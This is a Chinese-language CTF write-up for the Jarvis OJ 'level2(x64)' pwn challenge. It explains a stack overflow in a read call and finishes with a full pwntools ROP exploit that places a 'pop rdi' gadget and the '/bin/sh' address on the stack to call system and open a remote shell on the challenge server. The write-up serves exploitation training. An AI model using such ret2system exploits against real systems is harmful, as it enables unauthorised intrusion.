[Jarvis OJ - PWN]——[XMAN]level2(x64)
阿新 • • 發佈:2021-02-12
技術標籤:pwn# Jarvis OJ
[Jarvis OJ - PWN]——[XMAN]level2(x64)
- 題目地址:https://www.jarvisoj.com/challenges
- 題目:
checksec一下,是64位程式。開啟了NX保護
在IDA看一下,main函式中有我們要的system函式,
vulnerable_function函式中也有。不過可惜引數都不對,任取一個system地址就好就好。但是我們找到了棧溢位的利用函式read。buf距離rbp的距離為0x80
查詢一下看看有沒有**"/bin/sh"字串,發現地址在0x0600A90**
**因為是64位程式,所以函式的前六個引數依次會使用rdi、rsi、rdx、rcx、r8、r9暫存器進行傳遞。system只有一個引數,使用的暫存器是rdi。**查詢一下彙編指令pop rdi的地址,0x04006b3
所以exploit為
from pwn import *
p = remote("pwn2.jarvisoj.com",9882)
binsh = 0x0600A90
pop_rdi=0x04006b3
sys = 0x0400603 #0x040063E 0x04004C0
payload = 'a'*(0x80 + 0x8)
payload += p64(pop_rdi)+ p64(binsh) #將"/bin/sh"pop到rdi暫存器中
payload += p64(sys) #執行system函式
p.recvline()
p.sendline(payload)
p.interactive( )